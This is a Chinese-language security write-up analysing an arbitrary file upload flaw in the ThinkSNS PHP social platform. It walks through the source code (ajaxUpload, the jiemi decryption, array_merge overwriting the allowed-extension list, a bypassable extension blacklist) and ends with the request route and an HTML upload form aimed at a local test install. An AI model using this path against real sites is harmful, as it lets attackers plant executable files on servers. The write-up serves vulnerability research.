PHP…

0x01

任意文件上传

漏洞分析

漏洞出现在/apps/public/Lib/Action/AttachAction.class.php的ajaxUpload函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function ajaxUpload()
{
//执行附件上传操作
$d['type_name'] = 11;
D('feedback_type')->add($d);
$attach_type = t($_REQUEST['type']);

$options['uid'] = $this->mid;

//加密传输这个字段,防止客户端乱设置.
$options['allow_exts'] = t(jiemi($_REQUEST['exts']));
$options['allow_size'] = t(jiemi($_REQUEST['size']));
$jiamiData = jiemi(t($_REQUEST['token']));
list($options['allow_exts'], $options['need_review'], $fid) = explode('||', $jiamiData);
$options['limit'] = intval(jiemi($_REQUEST['limit']));
$options['now_pageCount'] = intval($_REQUEST['now_pageCount']);

$data['upload_type'] = $attach_type;

$info = model('Attach')->upload($data, $options);
//上传成功
echo json_encode($info);
}

这里可以看出有一些变量是可控的,看到后缀的部分

1
2
3
$options['allow_exts'] = t(jiemi($_REQUEST['exts']));
$options['allow_size'] = t(jiemi($_REQUEST['size']));
$jiamiData = jiemi(t($_REQUEST['token']));

发现调用了jiemi函数对参数进行了过滤,跟到jiemi函数
在/src/old/OpenSociax/functions.inc.php

1
2
3
4
5
6
7
8
function jiemi($text, $key = null)
{
if (empty($key)) {
$key = C('SECURE_CODE');
}

return tsauthcode($text, 'DECODE', $key);
}

SECURE_CODE是一个密钥值,跟到tsauthcode函数,在jiemi函数的下方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function tsauthcode($string, $operation = 'DECODE', $key = '')
{
$ckey_length = 4;
$key = md5($key ? $key : SITE_URL);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

发现是一个解密的函数,但是注意最后的返回,如果传入为空,最后也会返回一个’’
回到ajaxUpload函数,后面有一个上传的操作

1
$info = model('Attach')->upload($data, $options);

跟到upload函数,在/addons/model/AttachModel.class.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public function upload($data = null, $input_options = null, $thumb = false)
{
//echo json_encode($data);
$system_default = model('Xdata')->get('admin_Config:attach');
if (empty($system_default['attach_path_rule']) || empty($system_default['attach_max_size']) || empty($system_default['attach_allow_extension'])) {
$system_default['attach_path_rule'] = 'Y/md/H/';
$system_default['attach_max_size'] = '2'; // 默认2M
$system_default['attach_allow_extension'] = 'jpg,gif,png,jpeg,bmp,zip,rar,doc,xls,ppt,docx,xlsx,pptx,pdf';
model('Xdata')->put('admin_Config:attach', $system_default);
}

// 上传若为图片,则修改为图片配置
if ($data['upload_type'] === 'image') {
$image_default = model('Xdata')->get('admin_Config:attachimage');
$system_default['attach_max_size'] = $image_default['attach_max_size'];
$system_default['attach_allow_extension'] = $image_default['attach_allow_extension'];
$system_default['auto_thumb'] = $image_default['auto_thumb'];
}

// 载入默认规则
$default_options = array();
$default_options['custom_path'] = date($system_default['attach_path_rule']); // 应用定义的上传目录规则:'Y/md/H/'
$default_options['max_size'] = floatval($system_default['attach_max_size']) * 1024 * 1024; // 单位: 兆
$default_options['allow_exts'] = $system_default['attach_allow_extension']; // 'jpg,gif,png,jpeg,bmp,zip,rar,doc,xls,ppt,docx,xlsx,pptx,pdf'
$default_options['save_path'] = UPLOAD_PATH.'/'.$default_options['custom_path'];
$default_options['save_name'] = ''; //指定保存的附件名.默认系统自动生成
$default_options['save_to_db'] = true;
//echo json_encode($default_options);exit;

// 定制化设这,覆盖默认设置
$options = is_array($input_options) ? array_merge($default_options, $input_options) : $default_options;
//云图片
if ($data['upload_type'] == 'image') {
$cloud = model('CloudImage');
if ($cloud->isOpen()) {
return $this->cloudImageUpload($options);
} else {
return $this->localUpload($options);
}
}

//云附件
else {
//if($data['upload_type']=='file'){
$cloud = model('CloudAttach');
if ($cloud->isOpen()) {
return $this->cloudAttachUpload($options);
} else {
return $this->localUpload($options);
}
}
}

首先读取了/storage/temp/filecache/TS4_xdata_lget_admin_Config.php中的attach数组配置

1
2
3
4
5
6
'attach' =>
array (
'attach_path_rule' => 'Y/md/H/',
'attach_max_size' => '100',
'attach_allow_extension' => 'png,jpeg,zip,rar,doc,xls,ppt,docx,xlsx,pptx,pdf,jpg,gif,mp3',
),

接着是一段\$default_options的赋值

1
2
3
4
5
6
7
8
9
10
11
$default_options = array();
$default_options['custom_path'] = date($system_default['attach_path_rule']); // 应用定义的上传目录规则:'Y/md/H/'
$default_options['max_size'] = floatval($system_default['attach_max_size']) * 1024 * 1024; // 单位: 兆
$default_options['allow_exts'] = $system_default['attach_allow_extension']; // 'jpg,gif,png,jpeg,bmp,zip,rar,doc,xls,ppt,docx,xlsx,pptx,pdf'
$default_options['save_path'] = UPLOAD_PATH.'/'.$default_options['custom_path'];
$default_options['save_name'] = ''; //指定保存的附件名.默认系统自动生成
$default_options['save_to_db'] = true;
//echo json_encode($default_options);exit;

// 定制化设这,覆盖默认设置
$options = is_array($input_options) ? array_merge($default_options, $input_options) : $default_options;

首先这里可以获得上传之后的路径

1
2
3
$default_options['custom_path'] = date($system_default['attach_path_rule']);
...
$default_options['save_path'] = UPLOAD_PATH.'/'.$default_options['custom_path'];

UPLOAD_PATH在/src/old/core.php中有定义

1
tsdefine('UPLOAD_PATH',    SITE_PATH.'/data/upload');

其次注意最后的操作,array_merge(\$default_options,\$input_options),这个地方由于传递进来的\$input_options中也有’allow_exts’的键值,所以会造成一个变量覆盖,\$options[‘allow_exts’]的值为’’,接下来是上传的部分,这里考虑本地上传

1
return $this->localUpload($options);

跟到localUpload函数
在AttachModel.class.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private function localUpload($options)
{
// 初始化上传参数
$upload = new UploadFile($options['max_size'], $options['allow_exts'], $options['allow_types']);
// 设置上传路径
$upload->savePath = $options['save_path'];
// 启用子目录
$upload->autoSub = false;
// 保存的名字
$upload->saveName = $options['save_name'];
// 默认文件名规则
$upload->saveRule = $options['save_rule'];
// 是否缩略图
if ($options['auto_thumb'] == 1) {
$upload->thumb = true;
}

// 创建目录
mkdir($upload->save_path, 0777, true);

// 执行上传操作
if (!$upload->upload()) {
// 上传失败,返回错误
$return['status'] = false;
$return['info'] = $upload->getErrorMsg();

return $return;
} else {
$upload_info = $upload->getUploadFileInfo();
// 保存信息到附件表
$data = $this->saveInfo($upload_info, $options);
// 输出信息
$return['status'] = true;
$return['info'] = $data;
// 上传成功,返回信息
return $return;
}
}

首先进行了一个UploadFile的实例化,跟到UploadFile类
在/addons/library/UploadFile.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function __construct($maxSize = '', $allowExts = '', $allowTypes = '', $savePath = UPLOAD_PATH, $saveRule = '')
{
if (!empty($maxSize) && is_numeric($maxSize)) {
$this->maxSize = $maxSize;
}
if (!empty($allowExts)) {
if (is_array($allowExts)) {
$this->allowExts = array_map('strtolower', $allowExts);
} else {
$this->allowExts = explode(',', strtolower($allowExts));
}
}
if (!empty($allowTypes)) {
if (is_array($allowTypes)) {
$this->allowTypes = array_map('strtolower', $allowTypes);
} else {
$this->allowTypes = explode(',', strtolower($allowTypes));
}
}
if (!empty($saveRule)) {
$this->saveRule = $saveRule;
} else {
$this->saveRule = C('UPLOAD_FILE_RULE');
}
$this->savePath = $savePath;
}

由于这里我们传递的\$allowExts为’’,所以采用UploadFile类的默认值,在类的开头有定义

1
public $allowExts = array();

返回的是一个空数组,回到localUpload函数,接着是调用了UploadFile的upload函数

1
if (!$upload->upload())

跟到upload函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public function upload($savePath = '')
{
mkdir($savePath, 0777, true);
//如果不指定保存文件名,则由系统默认
if (empty($savePath)) {
$savePath = $this->savePath;
}
// 检查上传目录
if (!is_dir($savePath)) {
// 检查目录是否编码后的
if (is_dir(base64_decode($savePath))) {
$savePath = base64_decode($savePath);
} else {
// 尝试创建目录
if (!mkdir($savePath, 0777, true)) {
$this->error = '上传目录'.$savePath.'不存在';

return false;
}
}
} else {
if (!is_writeable($savePath)) {
$this->error = '上传目录'.$savePath.'不可写';

return false;
}
}
$fileInfo = array();
$isUpload = false;

// 获取上传的文件信息
// 对$_FILES数组信息处理
$files = $this->dealFiles($_FILES);

foreach ($files as $key => $file) {
//过滤无效的上传
if (!empty($file['name'])) {
$file['key'] = $key;
$file['extension'] = $this->getExt($file['name']);
$file['savepath'] = $savePath;
$file['savename'] = uniqid().substr(str_shuffle('0123456789abcdef'), rand(0, 9), 7).'.'.$file['extension'];
//$this->getSaveName($file);

if ($GLOBALS['fromMobile'] == true && empty($file['extension'])) {
//移动设备上传的无后缀的图片,默认为jpg
$file['extension'] = 'jpg';
$file['savename'] = trim($file['savename'], '.').'.jpg';
} else {
// 自动检查附件
if ($this->autoCheck) {
if (!$this->check($file)) {
return false;
}
}
}

//保存上传文件
if (!$this->save($file)) {
return false;
}
if (function_exists($this->hashType)) {
$fun = $this->hashType;
$file['hash'] = $fun(auto_charset($file['savepath'].$file['savename'], 'utf-8', 'gbk'));
}
//上传成功后保存文件信息,供其它地方调用
unset($file['tmp_name'], $file['error']);
$fileInfo[] = $file;
$isUpload = true;
//图片上传裁剪
//$this->resetimg($savePath,$file['savename'],$file['save_Path']);
}
}
if ($isUpload) {
$this->uploadFileInfo = $fileInfo;

return true;
} else {
$this->error = '上传出错!文件不符合上传要求。';

return false;
}
}

看到自动检查附件这段

1
2
3
4
5
if ($this->autoCheck) {
if (!$this->check($file)) {
return false;
}
}

因为\$this->autoCheck的值是true,跟到check函数,在upload函数的下方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private function check($file)
{
if ($file['error'] !== 0) {
//文件上传失败
//捕获错误代码
$this->error($file['error']);

return false;
}
//文件上传成功,进行自定义规则检查
//检查文件大小
if (!$this->checkSize($file['size'])) {
$this->error = '上传文件大小不符,文件不能超过 '.byte_format($this->maxSize);

return false;
}

//检查文件Mime类型
if (!$this->checkType($file['type'])) {
$this->error = '上传文件MIME类型不允许!';

return false;
}
//检查文件类型
if (!$this->checkExt($file['extension'])) {
$this->error = '上传文件类型不允许';

return false;
}

//检查是否合法上传
if (!$this->checkUpload($file['tmp_name'])) {
$this->error = '非法上传文件!';

return false;
}

return true;
}

这里有一个检查后缀的函数checkExt,\$file[‘extension’]在upload函数中有定义

1
$file['extension'] = $this->getExt($file['name']);

跟到getExt函数

1
2
3
4
5
6
private function getExt($filename)
{
$pathinfo = pathinfo($filename);

return $pathinfo['extension'];
}

发现是通过获取文件信息来获取文件的后缀,回到check函数,接着跟到checkExt函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private function checkExt($ext)
{
if (in_array($ext, array('php', 'php3', 'exe', 'sh', 'html', 'asp', 'aspx'))) {
$this->error = '不允许上传可执行的脚本文件,如:php、exe、html后缀的文件';

return false;
}

if (!empty($this->allowExts)) {
return in_array(strtolower($ext), $this->allowExts, true);
}

return true;
}

首先做了一个简单的过滤,但是可以通过’PHP’、’php ‘进行绕过,接着由于\$this->allowExts是一个空数组,所以就能绕过过滤了,从而造成一个任意文件上传.
接着寻找利用的路由,首先看到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
define('SITE_PATH', dirname(__FILE__));

/* 新系统需要的一些配置 */
define('TS_ROOT', dirname(__FILE__)); // Ts根
define('TS_APPLICATION', TS_ROOT.'/apps'); // 应用存在的目录
define('TS_CONFIGURE', TS_ROOT.'/config'); // 配置文件存在的目录
define('TS_STORAGE', '/storage'); // 储存目录,需要可以公开访问,相对于域名根
/* 应用开发中的配置 */
define('TS_APP_DEV', false);
// 新的系统核心接入
require TS_ROOT.'/src/Build.php';
Ts::import(TS_ROOT, 'src', 'old', 'core', '.php');
...
App::run();

跟到/src/old/core.php文件

1
2
3
4
5
6
7
8
9
10
11
tsdefine('CORE_PATH',    dirname(__FILE__));
...
if (!defined('CORE_MODE')) {
define('CORE_MODE', 'OpenSociax');
}

if (file_exists(CORE_PATH.'/'.CORE_MODE.'Runtime.php') && !$ts['_debug']) {
include CORE_PATH.'/'.CORE_MODE.'Runtime.php';
} else {
include CORE_LIB_PATH.'/'.CORE_MODE.'.php';
}

可以看到这里有个包含/src/old/OpenSociax/OpenSociax.php,跟进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (!isset($_REQUEST['app']) && !isset($_REQUEST['mod']) && !isset($_REQUEST['act'])) {
$ts['_app'] = 'public';
$ts['_mod'] = 'Passport';
$ts['_act'] = 'login';
} else {
$ts['_app'] = isset($_REQUEST['app']) && !empty($_REQUEST['app']) ? $_REQUEST['app'] : tsconfig('DEFAULT_APP');
$ts['_mod'] = isset($_REQUEST['mod']) && !empty($_REQUEST['mod']) ? $_REQUEST['mod'] : tsconfig('DEFAULT_MODULE');
$ts['_act'] = isset($_REQUEST['act']) && !empty($_REQUEST['act']) ? $_REQUEST['act'] : tsconfig('DEFAULT_ACTION');
}
...
tsdefine('APP_NAME', $ts['_app']);
tsdefine('TRUE_APPNAME', !empty($ts['_widget_appname']) ? $ts['_widget_appname'] : APP_NAME);
tsdefine('MODULE_NAME', $ts['_mod']);
tsdefine('ACTION_NAME', $ts['_act']);

通过传入app、mod、act三个参数从而可以定义APP_NAME、MODULE_NAME、ACTION_NAME
回到index.php,看到最后的App::run,跟到App.class.php中的run函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public static function run()
{
App::init();

$GLOBALS['time_run_detail']['init_end'] = microtime(true);

//检查服务器是否开启了zlib拓展
if (C('GZIP_OPEN') && extension_loaded('zlib') && function_exists('ob_gzhandler')) {
ob_end_clean();
ob_start('ob_gzhandler');
}

$GLOBALS['time_run_detail']['obstart'] = microtime(true);

//API控制器
if (APP_NAME == 'api') {
App::execApi();

$GLOBALS['time_run_detail']['execute_api_end'] = microtime(true);

//Widget控制器
} elseif (APP_NAME == 'widget') {
App::execWidget();

$GLOBALS['time_run_detail']['execute_widget_end'] = microtime(true);

//Plugin控制器
} elseif (APP_NAME == 'plugin') {
App::execPlugin();

$GLOBALS['time_run_detail']['execute_plugin_end'] = microtime(true);

//APP控制器
} else {
App::execApp();

$GLOBALS['time_run_detail']['execute_app_end'] = microtime(true);
}

//输出buffer中的内容,即压缩后的css文件
if (C('GZIP_OPEN') && extension_loaded('zlib') && function_exists('ob_gzhandler')) {
ob_end_flush();
}

$GLOBALS['time_run_detail']['obflush'] = microtime(true);

if (C('LOG_RECORD')) {
Log::save();
}

$GLOBALS['time_run_detail']['logsave'] = microtime(true);

return ;
}

由于需要调用的APP是public,直接跟到execApp函数,在run函数的下方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...
//创建Action控制器实例
$className = MODULE_NAME.'Action';
// tsload(APP_ACTION_PATH.'/'.$className.'.class.php');

$action = ACTION_NAME; // action名称

$appTimer = sprintf('%s/%s/app/%s/timer', TS_ROOT, TS_STORAGE, strtolower(APP_NAME));
if (
!file_exists($appTimer) || // 不存在
(time() - file_get_contents($appTimer)) > 604800 || // 七天为一个更新周期
(defined('TS_APP_DEV') && TS_APP_DEV == true)
) {
\Ts\Helper\AppInstall::getInstance(APP_NAME)->moveResources();
\Medz\Component\Filesystem\Filesystem::mkdir(dirname($appTimer), 0777);
file_put_contents($appTimer, time());
}

$app = new \Ts\Helper\Controller;
$app
->setApp(APP_NAME)
->setController(MODULE_NAME)
->setAction(ACTION_NAME)
->run()
;
...

最后可以设置需要运行的app、module、action,这样就可以利用到ajaxupload函数了


0x02

漏洞利用

首先注册一个用户登陆,之后利用表单上传文件
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>

<form action="http://localhost:4399/thinksns/index.php?app=public&mod=attach&act=ajaxUpload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="upfile" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

提交的时候使用burpsuite抓包,至于修改Referer的原因,看看execApp函数


返回结果

可以得到文件路径和文件名,访问


0x03

One’storm

Logic:后缀解密获得->不传入参数返回空->数组合并造成变量覆盖->上传检查可被绕过

array_merge()函数使用的时候注意变量的覆盖

(ง •_•)ง